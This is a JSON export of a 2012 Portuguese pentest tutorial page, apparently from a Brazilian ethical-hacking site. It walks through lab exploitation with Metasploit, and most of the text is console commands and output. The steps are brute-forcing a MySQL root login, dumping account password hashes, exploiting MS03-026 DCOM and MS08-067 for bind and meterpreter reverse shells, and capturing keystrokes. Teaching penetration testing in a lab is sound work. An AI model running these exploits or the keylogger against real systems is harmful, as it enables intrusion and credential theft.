{"id":4938,"date":"2012-08-10T13:14:00","date_gmt":"2012-08-10T16:14:00","guid":{"rendered":"http:\/\/www.ethicalhacker.com.br\/site\/?page_id=4938"},"modified":"2023-01-31T19:41:28","modified_gmt":"2023-01-31T22:41:28","slug":"acesso","status":"publish","type":"page","link":"https:\/\/www.ethicalhacker.com.br\/site\/acesso\/","title":{"rendered":"Ganho de Acesso"},"content":{"rendered":"<p>Ap\u00f3s o reconhecimento e scanning e de posse das informa\u00e7\u00f5es necess\u00e1rias,<br \/>\npartiremos para o ganho de acesso ao sistema.<\/p>\n<p>Explorando vulnerabilidade de senha servidor MySQL atrav\u00e9s da t\u00e9cnica de for\u00e7a<\/p>\n<p>bruta.<\/p>\n<pre prompt=\"#\" lang=\"shell\">root@bt:\/# msfconsole\n\n _                                                      _\n\/  \\  \/ \\        __                          _   __    \/_\/ __\n| |\\ \/  | _____  \\ \\            ___   _____ | | \/   \\  _   \\ \\\n| | \\\/| | | ___\\ |- -|   \/\\    \/ __\\ | -__\/ | | | |  || | |- -|\n|_|   | | | _|__  | |_  \/ -\\ __\\ \\   | |    | |_ \\__\/ | |  | |_\n      |\/  |____\/  \\___\\\/ \/\\  \\___\/   \\\/      \\__|     |_\\  \\___\\\n\n\n       =[ metasploit v4.2.0-release [core:4.2 api:1.0]\n+ -- --=[ 805 exploits - 451 auxiliary - 135 post\n+ -- --=[ 246 payloads - 27 encoders - 8 nops\n       =[ svn r15549 updated 169 days ago (2012.02.23)\n\nWarning: This copy of the Metasploit Framework was last updated 169 days ago.\n         We recommend that you update the framework at least every other day.\n         For information on updating your copy of Metasploit, please see:\n             http:\/\/community.rapid7.com\/docs\/DOC-1306\n\n\n\n\n\n\n\nmsf &gt; use auxiliary\/scanner\/mysql\/mysql_login\nmsf  auxiliary(mysql_login) &gt; set BRUTEFORCE_SPEED 5\nBRUTEFORCE_SPEED =&gt; 5\nmsf  auxiliary(mysql_login) &gt; set RHOSTS 192.168.1.108\nRHOSTS =&gt; 192.168.1.108\nmsf  auxiliary(mysql_login) &gt; set THREADS 30\nTHREADS =&gt; 30\nmsf  auxiliary(mysql_login) &gt; set USERNAME root\nUSERNAME =&gt; root\nmsf  auxiliary(mysql_login) &gt; run\n\n[*] 192.168.1.108:3306 MYSQL - Found remote MySQL version 5.0.51a\n[*] 192.168.1.108:3306 MYSQL - [1\/2] - Trying username:'root' with password:''\n[*] 192.168.1.108:3306 MYSQL - [1\/2] - failed to login as 'root' with password ''\n[*] 192.168.1.108:3306 MYSQL - [2\/2] - Trying username:'root' with password:'root'\n[+] 192.168.1.108:3306 - SUCCESSFUL LOGIN 'root' : 'root'\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\n\n\n<\/pre>\n<p>No exemplo anterior, utilizamos o m\u00f3dulo auxiliar<\/p>\n<p>auxiliary\/scanner\/mysql\/mysql_login, setamos o m\u00e9todo for\u00e7a bruta, host alvo<br \/>\n192.168.1.108, a\u00e7\u00f5es concorrentes no valor de 30 e por final &#8220;chutamos&#8221; uma senha<br \/>\npadr\u00e3o comumente utilizada no usu\u00e1rio MySQl , neste caso root, ap\u00f3s executamos com<\/p>\n<p>o comando run. o RESULTADO : SUCCESSFUL LOGIN &#8216;root&#8217; : &#8216;root&#8217;<\/p>\n<p>Ap\u00f3s o sucesso em nossa investida, podemos progredir no terreno:<\/p>\n<pre prompt=\"#\" lang=\"shell\">msf &gt; use auxiliary\/admin\/mysql\/mysql_enum\nmsf  auxiliary(mysql_enum) &gt; set RHOST 192.168.1.108\nRHOST =&gt; 192.168.1.108\nmsf  auxiliary(mysql_enum) &gt; set PASSWORD root\nPASSWORD =&gt; root\nmsf  auxiliary(mysql_enum) &gt; set USERNAME root\nUSERNAME =&gt; root\nmsf  auxiliary(mysql_enum) &gt; run\n\n\n[*] Running MySQL Enumerator...\n[*] Enumerating Parameters\n[*]     MySQL Version: 5.0.51a-3ubuntu5\n[*]     Compiled for the following OS: debian-linux-gnu\n[*]     Architecture: i486\n[*]     Server Hostname: metasploitable\n[*]     Data Directory: \/var\/lib\/mysql\/\n[*]     Logging of queries and logins: OFF\n[*]     Old Password Hashing Algorithm OFF\n[*]     Loading of local files: ON\n[*]     Logins with old Pre-4.1 Passwords: OFF\n[*]     Allow Use of symlinks for Database Files: YES\n[*]     Allow Table Merge: YES\n[*]     SSL Connections: Enabled\n[*]     SSL CA Certificate: \/etc\/mysql\/cacert.pem\n[*]     SSL Key: \/etc\/mysql\/server-key.pem\n[*]     SSL Certificate: \/etc\/mysql\/server-cert.pem\n[*] Enumerating Accounts:\n[*]     List of Accounts with Password Hashes:\n[*]             User: root Host: localhost Password Hash: \n\n*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B\n[*]             User: root Host: ubuntu804-base Password Hash: \n\n*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B\n[*]             User: root Host: 127.0.0.1 Password Hash: \n\n*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B\n[*]             User:  Host: localhost Password Hash:\n[*]             User:  Host: ubuntu804-base Password Hash:\n[*]             User: debian-sys-maint Host: localhost Password Hash: \n\n*E07F0A7CCC0044345116513C989F45663C1F8347\n[*]             User: root Host: % Password Hash: \n\n*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B\n[*]     The following users have GRANT Privilege:\n[*]             User: root Host: localhost\n[*]             User: root Host: ubuntu804-base\n[*]             User: root Host: 127.0.0.1\n[*]             User: debian-sys-maint Host: localhost\n[*]             User: root Host: %\n[*]     The following users have CREATE USER Privilege:\n[*]             User: root Host: localhost\n[*]             User: root Host: ubuntu804-base\n[*]             User: root Host: 127.0.0.1\n[*]             User: root Host: %\n[*]     The following users have RELOAD Privilege:\n[*]             User: root Host: localhost\n[*]             User: root Host: ubuntu804-base\n[*]             User: root Host: 127.0.0.1\n[*]             User: debian-sys-maint Host: localhost\n[*]             User: root Host: %\n[*]     The following users have SHUTDOWN Privilege:\n[*]             User: root Host: localhost\n[*]             User: root Host: ubuntu804-base\n[*]             User: root Host: 127.0.0.1\n[*]             User: debian-sys-maint Host: localhost\n[*]             User: root Host: %\n[*]     The following users have SUPER Privilege:\n[*]             User: root Host: localhost\n[*]             User: root Host: ubuntu804-base\n[*]             User: root Host: 127.0.0.1\n[*]             User: debian-sys-maint Host: localhost\n[*]             User: root Host: %\n[*]     The following users have FILE Privilege:\n[*]             User: root Host: localhost\n[*]             User: root Host: ubuntu804-base\n[*]             User: root Host: 127.0.0.1\n[*]             User: debian-sys-maint Host: localhost\n[*]             User: root Host: %\n[*]     The following users have PROCESS Privilege:\n[*]             User: root Host: localhost\n[*]             User: root Host: ubuntu804-base\n[*]             User: root Host: 127.0.0.1\n[*]             User: debian-sys-maint Host: localhost\n[*]             User: root Host: %\n[*]     The following accounts have privileges to the mysql database:\n[*]             User: root Host: localhost\n[*]             User: root Host: ubuntu804-base\n[*]             User: root Host: 127.0.0.1\n[*]             User: debian-sys-maint Host: localhost\n[*]             User: root Host: %\n[*]     Anonymous Accounts are Present:\n[*]             User:  Host: localhost\n[*]             User:  Host: ubuntu804-base\n[*]     The following accounts have empty passwords:\n[*]             User:  Host: localhost\n[*]             User:  Host: ubuntu804-base\n[*]     The following accounts are not restricted by source:\n[*]             User: root Host: %\n[*] Auxiliary module execution completed\n\n<\/pre>\n<p>Agora com o m\u00f3dulo mysql_sql, podemos verificar os esquemas das bases de dados:<\/p>\n<pre prompt=\"#\" lang=\"shell\">msf &gt; use auxiliary\/admin\/mysql\/mysql_sql\nmsf  auxiliary(mysql_sql) &gt; set USER root\nUSER =&gt; root\nmsf  auxiliary(mysql_sql) &gt; set PASSWORD root\nPASSWORD =&gt; root\nmsf  auxiliary(mysql_sql) &gt; set RHOST 192.168.1.108\nRHOST =&gt; 192.168.1.108\nmsf  auxiliary(mysql_sql) &gt; set SQL show databases\nSQL =&gt; show databases\nmsf  auxiliary(mysql_sql) &gt; set PORT 3306\nPORT =&gt; 3306\nmsf  auxiliary(mysql_sql) &gt; run\n\n\n[*] Sending statement: 'show databases'...\n[*]  | information_schema |\n[*]  | mysql |\n[*]  | tikiwiki |\n[*]  | tikiwiki195 |\n[*] Auxiliary module execution completed\n<\/pre>\n<p>Nosso pr\u00f3ximo passo ser\u00e1 o ataque de sistemas vulneraveis RPC.<\/p>\n<pre prompt=\"#\" lang=\"shell\">msf &gt; nmap -sS 192.168.1.101\n[*] exec: nmap -sS 192.168.1.101\n\n\nStarting Nmap 5.51SVN ( http:\/\/nmap.org ) at 2012-08-10 12:39 BRT\nNmap scan report for 192.168.1.101\nHost is up (0.00039s latency).\nNot shown: 995 closed ports\nPORT     STATE SERVICE\n135\/tcp  open  msrpc\n139\/tcp  open  netbios-ssn\n445\/tcp  open  microsoft-ds\n1025\/tcp open  NFS-or-IIS\n1026\/tcp open  LSA-or-nterm\nMAC Address: 00:0C:29:7D:B7:84 (VMware)\n\nNmap done: 1 IP address (1 host up) scanned in 0.69 seconds\n\n<\/pre>\n<p>Repare acima, nosso alvo possui a porta 135 na escuta, vamos pesquisar exploits<br \/>\npara execu\u00e7\u00e3o do ataque de vulnerabilidade RPC dcom<\/p>\n<pre prompt=\"#\" lang=\"shell\">msf &gt; search dcom\n\nMatching Modules\n================\n\n   Name                                       Disclosure Date  Rank   Description\n   ----                                       ---------------  ----   -----------\n   exploit\/windows\/dcerpc\/ms03_026_dcom       2003-07-16       great  Microsoft \n\nRPC DCOM Interface Overflow\n   exploit\/windows\/driver\/broadcom_wifi_ssid  2006-11-11       low    Broadcom \n\nWireless Driver Probe Response SSID Overflow\n   exploit\/windows\/smb\/ms04_031_netdde        2004-10-12       good   Microsoft \n\nNetDDE Service Overflow\n\n<\/pre>\n<p>Vamos utilizar exploit\/windows\/dcerpc\/ms03_026_dcom<\/p>\n<pre prompt=\"#\" lang=\"shell\">msf &gt; use  exploit\/windows\/dcerpc\/ms03_026_dcom\nmsf  exploit(ms03_026_dcom) &gt; show options\n\nModule options (exploit\/windows\/dcerpc\/ms03_026_dcom):\n\n   Name   Current Setting  Required  Description\n   ----   ---------------  --------  -----------\n   RHOST                   yes       The target address\n   RPORT  135              yes       The target port\n\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   Windows NT SP3-6a\/2000\/XP\/2003 Universal\n\n\nmsf  exploit(ms03_026_dcom) &gt; set RHOST 192.168.1.101\nRHOST =&gt; 192.168.1.101\nmsf  exploit(ms03_026_dcom) &gt; set RPORT 135\nRPORT =&gt; 135\nmsf  exploit(ms03_026_dcom) &gt; set PAYLOAD generic\/shell_bind_tcp\nPAYLOAD =&gt; generic\/shell_bind_tcp\nmsf  exploit(ms03_026_dcom) &gt; exploit\n\n[*] Started bind handler\n[*] Trying target Windows NT SP3-6a\/2000\/XP\/2003 Universal...\n[*] Binding to 4d9f4ab8-7d1c-11cf-861e-\n\n0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.101[135] ...\n[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.101\n\n[135] ...\n[*] Sending exploit ...\n[*] Command shell session 1 opened (192.168.1.109:38144 -&gt; 192.168.1.101:4444) at \n\n2012-08-10 12:46:18 -0300\n\nMicrosoft Windows [vers\u00c6o 5.2.3790]\n(C) Copyright 1985-2003 Microsoft Corp.\n\nC:\\WINDOWS\\system32&gt;\n\n\n<\/pre>\n<p>Bem, podemos verificar acima que mais uma vez obtivemos sucesso em nossa<\/p>\n<p>investida. A seguir utilizaremos o meterpreter para comprometimento do alvo<br \/>\ne captura de teclas.<\/p>\n<pre prompt=\"#\" lang=\"shell\">msf &gt; use exploit\/windows\/smb\/ms08_067_netapi\nmsf  exploit(ms08_067_netapi) &gt; set RHOST 192.168.1.107\nRHOST =&gt; 192.168.1.107\nmsf  exploit(ms08_067_netapi) &gt; set LHOST 192.168.1.109\nLHOST =&gt; 192.168.1.109\nmsf  exploit(ms08_067_netapi) &gt; set PAYLOAD windows\/meterpreter\/reverse_tcp\nPAYLOAD =&gt; windows\/meterpreter\/reverse_tcp\nmsf  exploit(ms08_067_netapi) &gt; exploit\n\n[*] Started reverse handler on 192.168.1.109:4444\n[*] Automatically detecting the target...\n[*] Fingerprint: Windows XP - Service Pack 3 - lang:English\n[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)\n[*] Attempting to trigger the vulnerability...\n[*] Sending stage (752128 bytes) to 192.168.1.107\n[*] Meterpreter session 2 opened (192.168.1.109:4444 -&gt; 192.168.1.107:1047) at 2012-08-10 12:57:24 -0300\n\n<\/pre>\n<p>Nosso alvo foi comprometido, ent\u00e3o agora podemos excutar os comandos para captura de teclas Keylogging, o primeiro passo e analisar os processos, ap\u00f3s migrar o<br \/>\nprocesso escolhido e depois capturar os dados:<\/p>\n<pre prompt=\"#\" lang=\"shell\">meterpreter &gt; ps\n\nProcess list\n============\n\nPID   Name               Arch  Session  User                          Path\n ---   ----               ----  -------  ----                          ----\n 0     [System Process]\n 4     System             x86   0        NT AUTHORITY\\SYSTEM\n 416   wscntfy.exe        x86   0        WHITEHAT-E8A438\\cobaia          C:\\WINDOWS\\system32\\wscntfy.exe\n 496   smss.exe           x86   0        NT AUTHORITY\\SYSTEM           \\SystemRoot\\System32\\smss.exe\n 528   vmtoolsd.exe       x86   0        NT AUTHORITY\\SYSTEM           C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\n 568   svchost.exe        x86   0        NT AUTHORITY\\SYSTEM           C:\\WINDOWS\\System32\\svchost.exe\n 604   csrss.exe          x86   0        NT AUTHORITY\\SYSTEM           \\??\\C:\\WINDOWS\\system32\\csrss.exe\n 628   winlogon.exe       x86   0        NT AUTHORITY\\SYSTEM           \\??\\C:\\WINDOWS\\system32\\winlogon.exe\n 672   services.exe       x86   0        NT AUTHORITY\\SYSTEM           C:\\WINDOWS\\system32\\services.exe\n 684   lsass.exe          x86   0        NT AUTHORITY\\SYSTEM           C:\\WINDOWS\\system32\\lsass.exe\n 840   vmacthlp.exe       x86   0        NT AUTHORITY\\SYSTEM           C:\\Program Files\\VMware\\VMware Tools\\vmacthlp.exe\n 856   svchost.exe        x86   0        NT AUTHORITY\\SYSTEM           C:\\WINDOWS\\system32\\svchost.exe\n 936   svchost.exe        x86   0        NT AUTHORITY\\NETWORK SERVICE  C:\\WINDOWS\\system32\\svchost.exe\n 1032  svchost.exe        x86   0        NT AUTHORITY\\SYSTEM           C:\\WINDOWS\\System32\\svchost.exe\n 1092  svchost.exe        x86   0        NT AUTHORITY\\NETWORK SERVICE  C:\\WINDOWS\\system32\\svchost.exe\n 1148  svchost.exe        x86   0        NT AUTHORITY\\LOCAL SERVICE    C:\\WINDOWS\\system32\\svchost.exe\n 1256  logon.scr          x86   0        WHITEHAT-E8A438\\cobaia          C:\\WINDOWS\\System32\\logon.scr\n 1356  TPAutoConnSvc.exe  x86   0        NT AUTHORITY\\SYSTEM           C:\\Program Files\\VMware\\VMware Tools\\TPAutoConnSvc.exe\n 1524  spoolsv.exe        x86   0        NT AUTHORITY\\SYSTEM           C:\\WINDOWS\\system32\\spoolsv.exe\n 1544  explorer.exe       x86   0        WHITEHAT-E8A438\\cobaia          C:\\WINDOWS\\Explorer.EXE\n 1640  alg.exe            x86   0        NT AUTHORITY\\LOCAL SERVICE    C:\\WINDOWS\\System32\\alg.exe\n 1676  VMwareTray.exe     x86   0        WHITEHAT-E8A438\\cobaia          C:\\Program Files\\VMware\\VMware Tools\\VMwareTray.exe\n 1684  vmtoolsd.exe       x86   0        WHITEHAT-E8A438\\cobaia          C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\n 1760  ctfmon.exe         x86   0        WHITEHAT-E8A438\\cobaia          C:\\WINDOWS\\system32\\ctfmon.exe\n 1840  cmd.exe            x86   0        WHITEHAT-E8A438\\cobaia          C:\\WINDOWS\\system32\\cmd.exe\n 1892  TPAutoConnect.exe  x86   0        WHITEHAT-E8A438\\cobaia          C:\\Program Files\\VMware\\VMware Tools\\TPAutoConnect.exe\n 2008  wuauclt.exe        x86   0        WHITEHAT-E8A438\\cobaia          C:\\WINDOWS\\system32\\wuauclt.exe\n\n\nmeterpreter &gt; migrate 1544\n[*] Migrating to 1544...\n[*] Migration completed successfully.\n\nmeterpreter &gt; keyscan_start\nStarting the keystroke sniffer...\nmeterpreter &gt; keyscan_dump\nDumping captured keystrokes...\nwww.backtrack.com <return>  <back> teste@teste.xxx senha123 <return>\n\n<\/return><\/back><\/return><\/pre>\n<p>\u00c9 isso ai !!! agora basta que o pentest utilize a criatividade .<\/p>\n\r\n\t\t<div class='author-shortcodes'>\r\n\t\t\t<div class='author-inner'>\r\n\t\t\t\t<div class='author-image'>\r\n\t\t\t<img src='https:\/\/www.ethicalhacker.com.br\/site\/wp-content\/uploads\/186048_100001838322519_1550894_n-11668_57x57.jpg' alt='' \/>\r\n\t\t\t<div class='author-overlay'><\/div>\r\n\t\t<\/div> <!-- .author-image --> \r\n\t\t<div class='author-info'>\r\n\t\t\t<p>Autor:&nbsp;<strong>S\u00edlvio C\u00e9sar Roxo Giavaroto<\/strong><\/p>\n<p>\u00c9 MBA Especialista em Gest\u00e3o de Seguran\u00e7a da Informa\u00e7\u00e3o,\nTecn\u00f3logo em Redes de Computadores, C|EH Certified Ethical Hacker,\natua como Pentest e Analista de Seguran\u00e7a em Servidores Linux no\nGoverno do Estado de S\u00e3o Paulo, Professor Universit\u00e1rio , &nbsp;Instrutor\nC|EH e C|HFI.<\/p>\n<p><em>&nbsp;<\/em>\r\n\t\t<\/div> <!-- .author-info --><\/p>\r\n\t\t\t<\/div> <!-- .author-inner -->\r\n\t\t<\/div> <!-- .author-shortcodes -->\n","protected":false},"excerpt":{"rendered":"<p>Ap\u00f3s o reconhecimento e scanning e de posse das informa\u00e7\u00f5es necess\u00e1rias, partiremos para o ganho de acesso ao sistema. Explorando vulnerabilidade de senha servidor MySQL atrav\u00e9s da t\u00e9cnica de for\u00e7a bruta. root@bt:\/# msfconsole _ _ \/ \\ \/ \\ __ _ __ \/_\/ __ | |\\ \/ | _____ \\ \\ ___ _____ | | [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-4938","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/pages\/4938","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/comments?post=4938"}],"version-history":[{"count":8,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/pages\/4938\/revisions"}],"predecessor-version":[{"id":19758,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/pages\/4938\/revisions\/19758"}],"wp:attachment":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/media?parent=4938"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}